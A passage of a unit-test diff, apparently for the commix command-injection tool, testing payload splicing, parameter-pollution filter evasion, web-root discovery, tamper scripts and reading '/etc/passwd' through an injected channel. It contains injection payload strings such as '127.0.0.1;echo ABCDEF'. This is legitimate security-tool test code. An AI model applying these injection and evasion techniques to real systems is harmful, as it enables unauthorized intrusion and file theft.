127.0.0.1;echo+ABCDEF z")) + + def test_a_command_the_target_upper_cased(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a 127.0.0.1;ECHO ABCDEF z")) + + def test_a_space_of_another_width(self): + self.assertIn(settings.REFLECTED_VALUE_MARKER, self.filtered("a 127.0.0.1;echo\xa0ABCDEF z")) + + def test_runs_scattered_through_unrelated_text_are_left_alone(self): + # The payload's own runs are words a page says for itself - the value sent back, 'echo', a tag. + page = "host 127.0.0.1 is up. " + "x" * 60 + " please echo this. " + "y" * 40 + " ABCDEF is the code." + self.assertEqual(page, self.filtered(page)) + + def test_a_page_without_the_payload_is_untouched(self): + page = "nothing of the sort here" + self.assertEqual(page, self.filtered(page)) + + def test_a_payload_of_punctuation_alone_builds_no_pattern(self): + # An open pattern with no run to anchor it would match at every position of every page. + self.assertIsNone(checks.reflection_pattern(";|&")) + page = "a perfectly ordinary page" + self.assertEqual(page, self.filtered(page, ";|&")) + + def test_the_marker_is_the_same_length_whatever_the_payload(self): + short = self.filtered("x 127.0.0.1;echo ABCDEF y") + long_payload = "127.0.0.1;echo ABCDEFGHIJKLMNOP" + longer = self.filtered("x " + long_payload + " y", long_payload) + self.assertEqual(len(short), len(longer)) + +class DocumentRootFromALeakedPath(unittest.TestCase): + """ + Cutting a root out of an absolute path the target printed about itself. + """ + def root(self, body, url): + class _Response(object): + def read(self): + return body.encode() + original = checks.get_response, checks.decode_page_body + checks.get_response = lambda _url: _Response() + checks.decode_page_body = lambda raw, response: raw.decode() + try: + return checks.web_root_from_leaked_path(url) + finally: + checks.get_response, checks.decode_page_body = original + + def test_a_generic_name_is_what_it_is_cut_at(self): + # Cut at "/www/", which is one of those names itself - not at the deeper "/html/", which is not. + self.assertEqual("/var/www/", + self.root("Warning: in /var/www/html/a/b.php on line 2", "http://t/a/b.php")) + + def test_the_first_generic_name_in_the_list_wins(self): + self.assertEqual("/srv/htdocs/", + self.root("Warning: /srv/htdocs/app/b.php", "http://t/app/b.php")) + + def test_the_host_names_its_own_root(self): + self.assertEqual("/srv/t.example/", + self.root("Warning: /srv/t.example/a/b.php", "http://t.example/a/b.php")) + + def test_the_url_path_cuts_one_with_no_generic_name_in_it(self): + self.assertEqual("/opt/app/current/", + self.root("Warning: /opt/app/current/scenarios/GET/classic.php on line 2", + "http://t/scenarios/GET/classic.php")) + + def test_a_windows_path_keeps_its_drive_and_separators(self): + self.assertEqual("C:\\inetpub\\wwwroot\\", + self.root("Warning: C:\\inetpub\\wwwroot\\a\\b.php on line 2", "http://t/a/b.php")) + + def test_nothing_resembling_a_path_gives_nothing(self): + self.assertIsNone(self.root("no paths here", "http://t/a/b.php")) + + def test_a_path_that_does_not_end_where_the_url_does_is_left_alone(self): + # "/a" sits in the middle of it, which says nothing about where the root is. + self.assertIsNone(self.root("Warning: /opt/a/deeper/elsewhere.php", "http://t/a/b.php")) + + def test_a_url_path_filling_the_whole_leaked_path_cuts_to_nothing(self): + self.assertIsNone(self.root("Warning: /a/b.php on line 2", "http://t/a/b.php")) + +class DocumentRootFromTheTarget(unittest.TestCase): + """ + Working the document root back from the directory the script says it runs in. + """ + def setUp(self): + self._os = settings.TARGET_OS + self._probe = settings.WEB_ROOT_PROBE + + def tearDown(self): + settings.TARGET_OS = self._os + settings.WEB_ROOT_PROBE = self._probe + + def arm(self, answer): + settings.WEB_ROOT_PROBE = lambda cmd: answer + + def test_the_url_depth_comes_off_the_end(self): + self.arm("/var/www/commix-testbed.com/public_html/scenarios/regular/GET") + self.assertEqual("/var/www/commix-testbed.com/public_html/", + checks.web_root_from_target_cwd("http://t/scenarios/regular/GET/classic.php?addr=1")) + + def test_a_script_in_the_root_itself_leaves_the_root(self): + self.arm("/var/www/html") + self.assertEqual("/var/www/html/", checks.web_root_from_target_cwd("http://t/classic.php")) + + def test_a_directory_url_counts_as_its_own_directory(self): + self.arm("/srv/app/admin") + self.assertEqual("/srv/app/", checks.web_root_from_target_cwd("http://t/admin/")) + + def test_a_path_the_url_does_not_end_in_is_not_guessed_at(self): + # An alias or a rewrite - the script is not stored under the path it was reached by, so the + # depth says nothing about where the root is. + self.arm("/opt/legacy/cgi") + self.assertIsNone(checks.web_root_from_target_cwd("http://t/scenarios/regular/GET/classic.php")) + + def test_an_error_instead_of_a_path_is_not_a_root(self): + for answer in ("sh: 1: pwd: not found", "", None, " ", "relative/path"): + self.arm(answer) + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) + + def test_windows_keeps_its_own_separator(self): + settings.TARGET_OS = settings.OS.WINDOWS + self.arm("C:\\AppServ\\www\\scenarios\\regular") + self.assertEqual("C:\\AppServ\\www\\", + checks.web_root_from_target_cwd("http://t/scenarios/regular/classic.php")) + + def test_the_probe_is_spent_once_it_has_been_asked(self): + # A root that fails is asked about again - the same answer twice over would keep handing back + # the root that just failed instead of moving on to the candidates. + self.arm("/var/www/html") + self.assertEqual("/var/www/html/", checks.web_root_from_target_cwd("http://t/a.php")) + self.assertIsNone(settings.WEB_ROOT_PROBE) + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a.php")) + + def test_nothing_is_asked_where_no_technique_armed_it(self): + settings.WEB_ROOT_PROBE = None + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) + + def test_a_probe_that_raises_is_not_fatal(self): + def boom(cmd): + raise RuntimeError("no channel") + settings.WEB_ROOT_PROBE = boom + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) + +class RegistryAnswersAreReadForWhatTheySay(unittest.TestCase): + """ + 'reg' answers a missing key or value by name, and a refused one by name. An answer that said which + of the two it was is not reported as either-or - the hedge is for an answer that said neither. + """ + KEY = "HKLM\\SOFTWARE\\Nope" + VALUE = "Version" + NOT_FOUND = "ERROR: The system was unable to find the specified registry key or value." + + def setUp(self): + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + self._verbosity = settings.VERBOSITY_LEVEL + + def tearDown(self): + settings.print_data_to_stdout = self._out + settings.VERBOSITY_LEVEL = self._verbosity + + def read(self, shell): + checks.registry_read_status(shell, self.KEY, self.VALUE, "commix.log") + return settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + + def delete(self, shell, value=""): + checks.registry_delete_status(shell, self.KEY, value) + return settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + + def test_a_read_the_target_said_was_not_there_is_stated_as_that(self): + said = self.read(self.NOT_FOUND) + self.assertIn("The target has no registry key '" + self.KEY + "'", said) + self.assertNotIn("you do not have permission to read it", said) + + def test_a_read_the_target_refused_is_still_stated_as_that(self): + self.assertIn("do not have permission to read", self.read("ERROR: Access is denied.")) + + def test_an_answer_that_said_neither_keeps_the_hedge(self): + self.assertIn("This could mean the key/value does not exist", self.read("")) + + def test_the_phrase_is_found_without_the_prefix_the_shell_may_have_dropped(self): + said = self.read("the system was unable to find the specified registry key or value") + self.assertIn("The target has no registry key", said) + + def test_a_deletion_of_something_that_was_not_there_is_stated_as_that(self): + said = self.delete(self.NOT_FOUND, value=self.VALUE) + self.assertIn("to delete.", said) + self.assertNotIn("does not appear to have been deleted", said) + +class ParameterPollutionStatesOnlyWhatTheBannerSaid(unittest.TestCase): + """ + Sending the parameter twice only evades anything where the application reads one occurrence and + the filter another, and which one that is belongs to the platform. Where the banner named one that + is known to choose, the position is a fact about the target; where it named nothing recognised, + the position is where the platforms most often tested read it, and is said as the guess it is. + """ + TARGET = "http://t/a.php?addr=" + PAYLOAD = ";echo TAG;" + + def setUp(self): + self._state = (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.IS_JSON, settings.IS_XML, settings.IS_GRAPHQL, menu.options.hpp) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.HPP_POSITION_SAID = False + settings.TESTABLE_VALUE = "127.0.0.1" + settings.IS_JSON = False + settings.IS_XML = False + settings.IS_GRAPHQL = False + menu.options.hpp = True + + def tearDown(self): + (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.IS_JSON, settings.IS_XML, settings.IS_GRAPHQL, menu.options.hpp) = self._state + settings.print_data_to_stdout = self._out + + def pollute(self, banner): + settings.SERVER_BANNER = banner + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + return polluted, settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + + def test_a_platform_known_to_read_the_last_one_is_named_as_the_reason(self): + polluted, said = self.pollute("Apache/2.4.7 (Ubuntu) PHP/5.5.9") + self.assertTrue(polluted.endswith("addr=" + self.PAYLOAD)) + self.assertIn("with the payload last - which is the one 'Apache/2.4.7 (Ubuntu) PHP/5.5.9' reads.", said) + + def test_a_platform_known_to_read_the_first_one_is_named_as_the_reason(self): + polluted, said = self.pollute("Jetty(9.4.z-SNAPSHOT)") + self.assertTrue(polluted.endswith("addr=127.0.0.1")) + self.assertIn("with the payload first - which is the one 'Jetty(9.4.z-SNAPSHOT)' reads.", said) + + def test_the_platform_decides_over_the_server_carrying_it(self): + # 'Apache Tomcat' names both lists; the one that is a platform rather than a web server is the + # one that reads the parameter, so the payload goes where Java reads it. + polluted, said = self.pollute("Apache Tomcat/9.0.50") + self.assertTrue(polluted.endswith("addr=127.0.0.1")) + self.assertIn("with the payload first", said) + + def test_a_banner_naming_nothing_recognised_does_not_claim_the_target_reads_it(self): + polluted, said = self.pollute("lighttpd/1.4.55") + self.assertTrue(polluted.endswith("addr=" + self.PAYLOAD)) + self.assertNotIn("which is the one", said) + self.assertIn("names nothing that says which of the two it chooses", said) + + def test_no_banner_at_all_is_said_to_have_decided_nothing(self): + polluted, said = self.pollute("") + self.assertTrue(polluted.endswith("addr=" + self.PAYLOAD)) + self.assertNotIn("which is the one", said) + self.assertIn("this target named nothing to decide it by", said) + + def test_a_platform_that_joins_the_two_is_told_about_instead(self): + polluted, said = self.pollute("Microsoft-IIS/8.5") + self.assertEqual(self.TARGET + self.PAYLOAD, polluted) + self.assertIn("cannot help here", said) + + def test_a_document_body_is_told_about_the_way_the_other_structured_ones_are(self): + # A GraphQL document carries no second occurrence any more than JSON or XML does, and saying + # so is what tells the switch apart from one that was applied and changed nothing. + settings.IS_GRAPHQL = True + polluted, said = self.pollute("Apache/2.4.7 (Ubuntu) PHP/5.5.9") + self.assertEqual(self.TARGET + self.PAYLOAD, polluted) + self.assertIn("not to a structured body", said) + self.assertNotIn("Sending 'addr' twice", said) + +if __name__ == "__main__": + unittest.main() + +class EmptyTestableValue(unittest.TestCase): + """ + Where the payload goes when the parameter it is testing arrived with no value at all. + """ + def setUp(self): + self.testable_value = settings.TESTABLE_VALUE + + def tearDown(self): + settings.TESTABLE_VALUE = self.testable_value + + def test_an_empty_value_puts_the_payload_at_the_front(self): + """ + Stood in for by a single whitespace, an empty value reached the target as the first byte of + every payload - and a sink reading that byte for itself, an interpreter's own open() handed a + leading '|', was never once sent the separator it was being tested with. + """ + settings.TESTABLE_VALUE = "" + carrier = "page=" + settings.INJECT_TAG + spliced = checks.process_injectable_value("|echo Hello", carrier) + self.assertEqual("page=|echo Hello", spliced) + self.assertEqual("", settings.TESTABLE_VALUE) + + def test_a_value_of_its_own_still_carries_the_payload_behind_it(self): + settings.TESTABLE_VALUE = "127.0.0.1" + carrier = "addr=127.0.0.1" + settings.INJECT_TAG + spliced = checks.process_injectable_value("127.0.0.1;echo Hello", carrier) + self.assertEqual("addr=127.0.0.1;echo Hello", spliced) + +class TheOutOfBandTechniqueIsAskedForOnItsOwn(unittest.TestCase): + """ + Out-of-band is reached by '--oob' rather than by a letter of '--technique', and the letter it is + written down as lives in one place, so the switch and what runs it cannot drift apart. + """ + def setUp(self): + self._state = (menu.options.oob, menu.options.tech) + + def tearDown(self): + (menu.options.oob, menu.options.tech) = self._state + + def test_the_letter_is_not_one_the_user_can_name(self): + self.assertNotIn(settings.OOB_TECHNIQUE_LETTER, settings.AVAILABLE_TECHNIQUES) + + def test_the_letter_is_written_down_in_one_place_only(self): + # Spelled again at either end, the switch and the technique it reaches are free to drift apart + # without anything failing, so both read it from the constant. + import inspect + from src.core import main + from src.core.controller import controller + self.assertIn("settings.OOB_TECHNIQUE_LETTER", + inspect.getsource(controller.oob_command_injection_technique)) + self.assertIn("menu.options.tech = settings.OOB_TECHNIQUE_LETTER", + io.open(inspect.getsourcefile(main), encoding="utf-8").read()) + + def test_the_switch_alone_says_whether_it_runs(self): + menu.options.tech = "" + menu.options.oob = False + self.assertFalse(checks.technique_selected(settings.OOB_TECHNIQUE_LETTER)) + menu.options.oob = True + self.assertTrue(checks.technique_selected(settings.OOB_TECHNIQUE_LETTER)) + + def test_what_the_switch_writes_down_is_read_back_as_the_same_technique(self): + # What '--oob' leaves in the technique list is the letter the run then asks about, and asking + # about any other one is answered no - the switch selects the out-of-band technique on its own. + menu.options.oob = True + menu.options.tech = settings.OOB_TECHNIQUE_LETTER + self.assertTrue(checks.technique_selected(settings.OOB_TECHNIQUE_LETTER)) + for letter in settings.AVAILABLE_TECHNIQUES: + self.assertFalse(checks.technique_selected(letter), letter + " ran alongside out-of-band") + +class TheHeuristicProbeIsSentTheWayTheTestsAre(unittest.TestCase): + """ + The probe decides whether a parameter is worth testing at all under '--smart', so it is carried + the way the requests that follow it are carried - pollution included, since deciding on an + unpolluted answer skips the parameter over the very request '--hpp' was given to replace. + """ + def source(self): + import inspect + from src.core.controller import controller + return inspect.getsource(controller.heuristic_request) + + def test_the_query_and_the_body_both_ask_for_pollution(self): + source = self.source() + self.assertIn("process_injectable_value(encoded_payload, url, pollute=True)", source) + self.assertIn("process_injectable_value(body_payload, menu.options.data, pollute=True)", source) + + def test_the_cookie_is_left_alone(self): + # A cookie separates with ';', so a second '&name=' in one is more of the first cookie's value + # rather than another cookie - and nothing is gained by sending it. + source = self.source() + self.assertIn("process_injectable_value(encoded_payload, menu.options.cookie)", source) + +class EveryTechniqueLeftOutIsNamed(unittest.TestCase): + """ + What a run says it did not test is read from the one list of techniques, so a letter cannot be + selectable with '--technique' and missing from the sentence that offers to test it. + """ + def setUp(self): + self._tech = menu.options.tech + + def tearDown(self): + menu.options.tech = self._tech + + def untested(self, tech): + menu.options.tech = tech + return checks.untested_techniques() + + def test_every_selectable_letter_has_a_name(self): + for letter in settings.AVAILABLE_TECHNIQUES: + self.assertIn(letter, settings.TECHNIQUE_LETTER_NAMES, letter + " has no name to be said by") + + def test_the_one_technique_left_out_is_the_one_named(self): + # Everything but boolean-based: the sentence read empty here, so a run was told to drop + # '--technique' without being told what dropping it would add. + self.assertEqual("boolean-based technique", self.untested("rtf")) + self.assertEqual("file-based technique", self.untested("rbt")) + + def test_the_three_left_out_are_all_named(self): + self.assertEqual("boolean-based, time-based and file-based techniques", self.untested("r")) + self.assertEqual("results-based, time-based and file-based techniques", self.untested("b")) + + def test_a_run_that_leaves_nothing_out_says_nothing(self): + self.assertEqual("", self.untested("".join(settings.AVAILABLE_TECHNIQUES))) + +class ANamedModuleIsNotDroppedByAHeuristic(unittest.TestCase): + """ + The CGI heuristic is there to offer the module where the path looks like it calls for it, not to + take back one the user named: the list it reads is what commix knows of, not what the target + serves, so a path missing from it says nothing about whether the module is worth running. + """ + URL = "http://t/index.php?x=1" + + def setUp(self): + self._state = (settings.USER_APPLIED_MODULE, settings.VERBOSITY_LEVEL, + menu.options.module, menu.options.shellshock) + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *_: None + settings.VERBOSITY_LEVEL = 0 + + def tearDown(self): + (settings.USER_APPLIED_MODULE, settings.VERBOSITY_LEVEL, + menu.options.module, menu.options.shellshock) = self._state + settings.print_data_to_stdout = self._out + + def test_a_path_with_no_known_cgi_script_still_turns_it_off(self): + settings.USER_APPLIED_MODULE = () + menu.options.shellshock = True + checks.check_CGI_scripts(self.URL) + self.assertFalse(menu.options.shellshock) + + def test_the_module_the_user_named_is_left_alone(self): + # Turned off here, the module the run was started for was never loaded, and the only word about + # it was a debug line about a list the target had nothing to do with. + settings.USER_APPLIED_MODULE = ("shellshock",) + menu.options.shellshock = True + checks.check_CGI_scripts(self.URL) + self.assertTrue(menu.options.shellshock) + + def test_what_was_named_is_recorded_by_name(self): + menu.options.module = "Shellshock" + checks.validate_modules() + self.assertEqual(("shellshock",), settings.USER_APPLIED_MODULE) + +class PollutionCarriesTheParametersOwnValue(unittest.TestCase): + """ + The occurrence that is not the payload is the one meant to read as the value the application was + sent. Where the sink turned out not to need that value a short random stand-in replaces it in + every later request - and a filter checking the shape of what it is given passes an address and + refuses three letters, which is the evasion defeating itself. + """ + TARGET = "http://t/a.php?addr=" + PAYLOAD = ";echo TAG;" + + def setUp(self): + self._state = (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.VALUE_SKIPPED_EARLY, settings.IS_JSON, settings.IS_XML, + settings.IS_GRAPHQL, menu.options.hpp) + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *_: None + settings.SERVER_BANNER = "Apache/2.4.7 (Ubuntu) PHP/5.5.9" + settings.HPP_POSITION_SAID = True + settings.IS_JSON = settings.IS_XML = settings.IS_GRAPHQL = False + menu.options.hpp = True + + def tearDown(self): + (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.VALUE_SKIPPED_EARLY, settings.IS_JSON, settings.IS_XML, + settings.IS_GRAPHQL, menu.options.hpp) = self._state + settings.print_data_to_stdout = self._out + + def test_the_clean_occurrence_carries_the_value_that_was_stood_in_for(self): + settings.TESTABLE_VALUE = "QIF" + settings.VALUE_SKIPPED_EARLY = ("127.0.0.1", "QIF", "", "") + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + self.assertEqual("http://t/a.php?addr=127.0.0.1&addr=" + self.PAYLOAD, polluted) + + def test_a_value_that_was_never_stood_in_for_is_carried_as_it_is(self): + settings.TESTABLE_VALUE = "127.0.0.1" + settings.VALUE_SKIPPED_EARLY = None + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + self.assertEqual("http://t/a.php?addr=127.0.0.1&addr=" + self.PAYLOAD, polluted) + + def test_an_empty_value_still_pollutes_with_nothing(self): + settings.TESTABLE_VALUE = " " + settings.VALUE_SKIPPED_EARLY = None + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + self.assertEqual("http://t/a.php?addr=&addr=" + self.PAYLOAD, polluted) + +class ThePayloadIsWrittenOutWithTheParametersOwnValue(unittest.TestCase): + """ + What is printed at the end carries the value the target was given, the way the format this one + follows writes it. The stand-in belongs to how the requests were built, which the run says in its + own line rather than inside a payload somebody is going to copy out. + """ + def setUp(self): + self._state = (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR) + + def tearDown(self): + (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR) = self._state + + def test_the_stand_in_at_the_front_is_the_value_it_stood_for(self): + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("QQE;echo TAG;")) + + def test_nothing_is_rewritten_where_no_value_was_stood_in_for(self): + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "127.0.0.1", "" + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("127.0.0.1;echo TAG;")) + + def test_only_the_one_at_the_front_is_rewritten(self): + # Anything further in belongs to the payload, whatever it happens to read like. + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + self.assertEqual("127.0.0.1;echo QQE;", checks.payload_with_own_value("QQE;echo QQE;")) + + def test_a_payload_that_does_not_start_with_it_is_left_alone(self): + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + self.assertEqual("'QQE;echo TAG;", checks.payload_with_own_value("'QQE;echo TAG;")) + + def test_a_parameter_tested_with_its_own_value_is_left_alone(self): + # Where the two are the same there was no stand-in, whatever a value carried over from an + # earlier parameter happens to say. + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "127.0.0.1", "127.0.0.1" + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("127.0.0.1;echo TAG;")) + +class ATamperedStandInIsStillWrittenOutAsTheValue(unittest.TestCase): + """ + A tamper script rewrites the stand-in along with the rest of the payload it is given, so looking + for the three letters at the front finds nothing and the finding goes out carrying them - beside + an untampered one that goes out carrying the value, which is the whole of what this is for. + """ + def setUp(self): + self._state = (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.MULTI_ENCODED_PAYLOAD, settings.TARGET_OS, settings.RAW_PAYLOAD) + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + settings.TARGET_OS = settings.OS.UNIX + settings.MULTI_ENCODED_PAYLOAD = ["uninitializedvariable"] + + def tearDown(self): + (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.MULTI_ENCODED_PAYLOAD, settings.TARGET_OS, settings.RAW_PAYLOAD) = self._state + + def test_the_script_rewrites_the_stand_in_too(self): + # What makes the plain search for it fail in the first place. + self.assertNotIn("QQE", checks.perform_payload_modification("QQE;echo TAG;")) + + def test_the_value_goes_back_where_the_tampered_stand_in_was(self): + sent = checks.perform_payload_modification("QQE;echo TAG;") + written = checks.payload_with_own_value(sent) + self.assertTrue(written.startswith("127.0.0.1;")) + self.assertEqual(sent[len(checks.perform_payload_modification("QQE")):], written[len("127.0.0.1"):]) + + def test_nothing_is_rewritten_where_no_script_is_applied(self): + settings.MULTI_ENCODED_PAYLOAD = [] + self.assertEqual("${AB}Q;echo TAG;", checks.payload_with_own_value("${AB}Q;echo TAG;")) + +class EveryPlatformIsToldWhatToInstall(unittest.TestCase): + """ + The sentence names something on each of them. Built a piece at a time around two platforms, it + stopped after "Download the" on every other one - which is where it is most likely to be read, + since the module ships with Python there and a missing one is the interpreter's own packaging. + """ + def setUp(self): + self._state = (settings.IS_WINDOWS, settings.PLATFORM, settings.print_data_to_stdout) + self.said = [] + settings.print_data_to_stdout = self.said.append + + def tearDown(self): + (settings.IS_WINDOWS, settings.PLATFORM, settings.print_data_to_stdout) = self._state + + def _said_on(self, is_windows, platform): + del self.said[:] + settings.IS_WINDOWS, settings.PLATFORM = is_windows, platform + checks.no_readline_module() + return re.sub(r"\x1b\[[0-9;]*m", "", "".join(self.said)).strip() + + def test_each_one_is_named_something_to_install(self): + for is_windows, platform, named in ((True, "nt", "pyreadline"), (False, "mac", "gnureadline"), + (False, "posix", "readline")): + said = self._said_on(is_windows, platform) + self.assertIn(named, said, platform) + + def test_the_sentence_is_finished_on_each_one(self): + for is_windows, platform in ((True, "nt"), (False, "mac"), (False, "posix")): + said = self._said_on(is_windows, platform) + self.assertTrue(said.endswith("."), platform) + self.assertNotIn("Download the.", said) + +class NothingTestedIsSaidAsTheReasonItWas(unittest.TestCase): + """ + A name given with '-p' that the request does not carry is one thing; every parameter it does + carry having been set aside is another. Told the first while looking at the parameter in their + own URL, the user is sent after something that is not wrong. + """ + def setUp(self): + self._state = (list(settings.TESTABLE_PARAMETERS_LIST), settings.TESTABLE_PARAMETERS) + + def tearDown(self): + (settings.TESTABLE_PARAMETERS_LIST, settings.TESTABLE_PARAMETERS) = self._state + + def test_a_name_the_request_does_not_carry_is_said_to_be_missing(self): + settings.TESTABLE_PARAMETERS_LIST = ["nosuchparam"] + settings.TESTABLE_PARAMETERS = None + self.assertIn("not present", checks.nothing_tested_message()) + + def test_a_name_it_does_carry_is_not(self): + # Named with '-p' and found, then set aside by one of the options that do that. + settings.TESTABLE_PARAMETERS_LIST = ["addr"] + settings.TESTABLE_PARAMETERS = True + self.assertIn("set aside", checks.nothing_tested_message()) + + def test_with_no_name_given_at_all_nothing_is_said_about_one(self): + settings.TESTABLE_PARAMETERS_LIST = [] + settings.TESTABLE_PARAMETERS = None + self.assertIn("set aside", checks.nothing_tested_message()) + +class AFileIsAskedForWholeWhereTheTechniqueCanAnswerWhole(unittest.TestCase): + """ + Asked for as base64, a file arrives as it is on disk - nothing the page does to whitespace can + reach it. Which technique is carrying the command is what decides whether that is worth paying + for, and it is the caller that knows which one: what is left in the run-wide name is whichever + was last announced while the parameter was being tested, long before this is asked. + """ + CONTENT = "one\ntwo\n" + + def setUp(self): + import base64 + self._state = (settings.TARGET_OS, settings.CURRENT_TECHNIQUE, settings.DEFAULT_CODEC) + settings.TARGET_OS = settings.OS.UNIX + self.asked = [] + encoded = base64.b64encode(self.CONTENT.encode()).decode() + self.execute_cmd = lambda cmd: (self.asked.append(cmd), (encoded, True))[1] + + def tearDown(self): + (settings.TARGET_OS, settings.CURRENT_TECHNIQUE, settings.DEFAULT_CODEC) = self._state + + def test_the_technique_the_caller_names_is_the_one_that_decides(self): + # The run-wide name says otherwise, which is exactly the case this exists for. + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.FILE_BASED + content, fresh = checks.file_read_encoded(self.execute_cmd, "/etc/passwd", + settings.INJECTION_TECHNIQUE.RESULTS_BASED) + self.assertEqual(self.CONTENT, content) + self.assertTrue(fresh) + + def test_a_technique_that_reads_a_byte_at_a_time_is_not_asked_for_it(self): + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.RESULTS_BASED + content, fresh = checks.file_read_encoded(self.execute_cmd, "/etc/passwd", + settings.INJECTION_TECHNIQUE.TIME_BASED) + self.assertIsNone(content) + self.assertEqual([], self.asked) + + def test_with_none_named_the_run_wide_one_still_answers(self): + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.RESULTS_BASED + self.assertEqual(self.CONTENT, checks.file_read_encoded(self.execute_cmd, "/etc/passwd")[0]) + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.FILE_BASED + self.assertIsNone(checks.file_read_encoded(self.execute_cmd, "/etc/passwd")[0]) + +class WhatOneWorkerIsTestingIsNotWhatAnotherIs(unittest.TestCase): + """ + The technique in hand is one worker's own. Several share a run, and the one a worker is on says + nothing about what another is doing - read off a single name, a worker asks its question about + whichever technique some other worker happened to announce last. + """ + def setUp(self): + self._state = settings.CURRENT_TECHNIQUE + settings.set_technique(settings.INJECTION_TECHNIQUE.RESULTS_BASED) + + def tearDown(self): + settings.set_technique(self._state) + + def test_a_worker_announcing_its_own_does_not_move_another(self): + seen = {} + def worker(): + settings.set_technique(settings.INJECTION_TECHNIQUE.TIME_BASED) + seen["worker"] = settings.current_technique() + thread = threading.Thread(target=worker) + thread.start() + thread.join() + self.assertEqual(settings.INJECTION_TECHNIQUE.TIME_BASED, seen["worker"]) + self.assertEqual(settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.current_technique()) + + def test_a_worker_that_announced_nothing_reads_the_runs_last_word(self): + seen = {} + thread = threading.Thread(target=lambda: seen.__setitem__("worker", settings.current_technique())) + thread.start() + thread.join() + self.assertEqual(settings.INJECTION_TECHNIQUE.RESULTS_BASED, seen["worker"]) + +class ASubstitutionWrittenAnotherWayIsWorthOneMoreAsk(unittest.TestCase): + """ + Every substitution written here opens with '$', and so does the '${IFS}' a filtered whitespace is + first worked around with - so one filter on that character refuses the lot, the heuristic's own + probe included. A backtick opens the same substitution and is a different character. + """ + def setUp(self): + from src.utils import common + self._common = common + self._state = (settings.BACKTICK_RETRY_CHOICE, settings.TARGET_OS, settings.USER_APPLIED_TAMPER, + list(settings.MULTI_ENCODED_PAYLOAD), menu.options.interpreter, menu.options.tamper, + common.read_input) + settings.BACKTICK_RETRY_CHOICE = None + settings.TARGET_OS = settings.OS.UNIX + settings.USER_APPLIED_TAMPER = "" + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.interpreter = None + menu.options.tamper = None + self.asked = [] + common.read_input = lambda message, **kwargs: self.asked.append(message) or "Y" + + def tearDown(self): + (settings.BACKTICK_RETRY_CHOICE, settings.TARGET_OS, settings.USER_APPLIED_TAMPER, + settings.MULTI_ENCODED_PAYLOAD, menu.options.interpreter, menu.options.tamper, + self._common.read_input) = self._state + + def test_a_posix_target_with_no_scripts_of_its_own_is_worth_asking_about(self): + self.assertTrue(checks.may_retry_through_backticks()) + + def test_a_shell_without_one_is_not_asked_about(self): + settings.TARGET_OS = settings.OS.WINDOWS + self.assertFalse(checks.may_retry_through_backticks()) + + def test_an_interpreter_is_handed_a_program_rather_than_a_shell_line(self): + menu.options.interpreter = "php" + self.assertFalse(checks.may_retry_through_backticks()) + + def test_scripts_the_user_chose_are_left_as_they_were_chosen(self): + menu.options.tamper = "space2ifs" + self.assertFalse(checks.may_retry_through_backticks()) + menu.options.tamper = None + settings.USER_APPLIED_TAMPER = "space2ifs" + self.assertFalse(checks.may_retry_through_backticks()) + + def test_it_is_not_asked_about_twice_over(self): + settings.MULTI_ENCODED_PAYLOAD = ["backticks"] + self.assertFalse(checks.may_retry_through_backticks()) + + def test_the_answer_is_asked_for_once_and_held(self): + self.assertTrue(checks.backtick_retry_consent()) + self.assertTrue(checks.backtick_retry_consent()) + self.assertEqual(1, len(self.asked)) + self.assertIn("'$'", self.asked[0]) + + def test_a_no_is_held_just_the_same(self): + self._common.read_input = lambda message, **kwargs: self.asked.append(message) or "n" + self.assertFalse(checks.backtick_retry_consent()) + self.assertFalse(checks.backtick_retry_consent()) + self.assertEqual(1, len(self.asked)) + +class ABooleanAnswerIsReadAgainstTheSameRequest(unittest.TestCase): + """ + What a boolean 